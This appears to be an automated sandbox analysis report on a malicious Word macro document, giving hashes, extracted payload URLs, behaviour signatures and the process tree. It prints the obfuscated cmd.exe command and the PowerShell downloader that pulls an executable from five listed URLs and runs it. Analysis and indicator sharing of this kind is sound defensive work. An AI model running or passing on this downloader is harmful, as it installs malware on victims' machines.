Analysis
-
max time kernel
149s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
-
submitted
23-05-2024 12:15
General
-
Target
6ae87dcf399fd436295324af614bfe7d_JaffaCakes118.doc
-
Size
83KB
-
MD5
6ae87dcf399fd436295324af614bfe7d
-
SHA1
94961851f49f5b8972bf21eac49a2422265af154
-
SHA256
e5acae3216827c1b58921810d5440ee5453284b3ebb1637de2cce0f8d60f126f
-
SHA512
c0a32402c707238b6f733396bf47a3e492fa9aef56e7ab7bd2411d9b297a60813f2eca7dc4beae0ac2f942037e09da08031ec1134ddd8755a61cadf4c1aa7837
-
SSDEEP
1536:WptJlmrJpmxlRw99NBO+aKz6Qaqya5XJJue+xT:ate2dw99fWqb5zu
Malware Config
Extracted
http://kulikovonn.ru/l5vT7q19U
http://optics-line.com/vUUp9ygDE
http://lonestarcustompainting.com/BLC3RY4O
http://montegrappa.com.pa/OkyoMANm
http://kristianmarlow.com/mhFm2oA4Q
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Blocklisted process makes network request 5 IoCs
-
An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
-
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
-
Enumerates system info in registry 2 TTPs 3 IoCs
-
Suspicious behavior: AddClipboardFormatListener 2 IoCs
-
Suspicious behavior: EnumeratesProcesses 2 IoCs
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Suspicious use of SetWindowsHookEx 7 IoCs
-
Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\6ae87dcf399fd436295324af614bfe7d_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\Cmd.exeCmd /V^:^O/C"^set j^L^T= ^ ^ ^ ^ ^ ^ ^ ^ }^}{^hctac^}^;^kaer^b^;V^Dn$^ ^m^e^t^I-ek^ovn^I;)VDn$^ ,r^j^d$(el^i^Fd^a^olnwoD^.I^Y^o^$^{yr^t^{)RlV^$^ n^i rj^d$(^hcaero^f;^'^exe.^'+Q^Qd^$^+^'^\'^+ci^lbu^p:vn^e^$^=V^Dn^$^;^'086' = ^Q^Q^d^$^;)^'@^'(til^p^S^.^'^Q4Ao^2m^Fh^m/m^oc^.wo^lr^amnaitsirk//:pt^th@^mNA^MoykO/^a^p.moc.^ap^p^arg^etno^m//:p^t^t^h@^O^4YR^3C^LB/^m^oc^.^gnitniapm^ots^ucra^t^sen^o^l//^:p^t^t^h^@ED^g^y^9p^UUv/m^oc.^en^i^l^-scitpo//:^ptth@^U91q7^Tv5^l/ur^.nn^ov^oki^lu^k//^:^p^tt^h^'=RlV$;^tn^ei^lCbeW.teN^ tcejbo-^w^en=IY^o^$^ ^ll^ehsre^w^op&&^f^or /^L %^I ^in (^38^7,^-^1,0)^do ^s^et 6^xN=!6^xN!!j^L^T:~%^I,1!&&^i^f %^I eq^u ^0 c^al^l %6^xN:~^-^388%"2⤵
- Process spawned unexpected child process
- An obfuscated cmd.exe command-line is typically used to evade detection.
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell $oYI=new-object Net.WebClient;$VlR='http://kulikovonn.ru/l5vT7q19U@http://optics-line.com/vUUp9ygDE@http://lonestarcustompainting.com/BLC3RY4O@http://montegrappa.com.pa/OkyoMANm@http://kristianmarlow.com/mhFm2oA4Q'.Split('@');$dQQ = '680';$nDV=$env:public+'\'+$dQQ+'.exe';foreach($djr in $VlR){try{$oYI.DownloadFile($djr, $nDV);Invoke-Item $nDV;break;}catch{}}3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
262KB
MD551d32ee5bc7ab811041f799652d26e04
SHA1412193006aa3ef19e0a57e16acf86b830993024a
SHA2566230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97
SHA5125fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
114B
MD5e89f75f918dbdcee28604d4e09dd71d7
SHA1f9d9055e9878723a12063b47d4a1a5f58c3eb1e9
SHA2566dc9c7fc93bb488bb0520a6c780a8d3c0fb5486a4711aca49b4c53fac7393023
SHA5128df0ab2e3679b64a6174deff4259ae5680f88e3ae307e0ea2dfff88ec4ba14f3477c9fe3a5aa5da3a8e857601170a5108ed75f6d6975958ac7a314e4a336aed0
-
Filesize
7KB
MD56f1e1de100220b9fba873bd0e00a4b69
SHA1dbf696beca1cc53491d62ca15cbe25a083cfcb74
SHA256509f1c3d8aaf17f15d41dfe62a40ea4b83ed7765d73eeac69526256af92f9644
SHA512e7170ee4832b7e00b99446ffdec81f152bff165c1145b3b5702a152c8673ea1e059de68a1d923bd8359598dff774a53bc3bba358ae6bb4c67b41ee49aa54df7d
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
64KB
-
Filesize
2.0MB
-
Filesize
64KB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
64KB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
64KB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
64KB
-
Filesize
2.0MB
-
Filesize
4KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
136KB